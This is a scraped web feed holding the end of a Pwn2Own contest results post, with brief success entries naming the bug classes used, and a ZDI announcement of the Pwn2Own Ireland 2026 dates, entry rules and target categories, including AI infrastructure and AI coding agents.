                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - haehae (@haehaeYang) of Out Of Bounds used a Path Traversal bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a1ea5aa3-382e-4a9b-887e-56628771bd91/IMG_4217.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Kentaro Kawane of GMO Cybersecurity by Ierae chained 2 Use-After-Free bugs to escalate privileges on Microsoft Windows 11 in the third round, earning $15,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png" data-image-dimensions="4162x3121" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=1000w" width="4162" height="3121" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3eeb476b-9c94-4aea-ab1a-5a3545d4cab1/image.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]></title>
<description><![CDATA[If you just want to read the rules, you can find them here.  Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With...]]></description>
<link>https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the rules, you can find them </em><a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank"><em>here</em></a><em>. </em></p><p class=""> </p><p class="">Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random <a href="https://youtube.com/shorts/PjpvUdhn6e0?feature=share">banshee</a>), we had an amazing event, even if we did end up in a <a href="https://youtu.be/ruxOpC-b-yM?si=Epu-ewvSe5VNQNbP&amp;t=333">jail</a> at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).</p><p class="">As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> (note the address). We will be happy to address your issues or concerns directly.</p><p class="">Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules <em>thoroughly</em> to ensure you meet all the requirements.</p><p class="">Now on to this year’s target categories. We’ll have seven different categories for this year’s event:</p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#phones">-- Mobile Phones</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#smarthome">--	Smart Home Devices</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#wellness">-- Wellness</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#printers">-- Printers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#messaging">--	Messaging</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#infrastructure">-- AI Infrastructure</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#agents">-- AI Coding Agents</a>  </p>




  <p class="">Let’s take a look at each category in more detail, starting with mobile phones.</p>





















  
  



<p><a data-preserve-html-node="true" name="phones"></a> </p>




  <p class=""><strong>The Target Phones</strong></p><p class="">Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.</p><p class="">Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="smarthome"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Smart Home Devices</b></p>




  <p class="">As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="wellness"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Wellness Category</b></p>




  <p class="">This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="printers"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Rage Against the Printers </b></p>




  <p class="">Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="messaging"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Messaging Category</b></p>




  <p class="">We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="infrastructure"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Infrastructure Category</b></p>




  <p class="">We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  

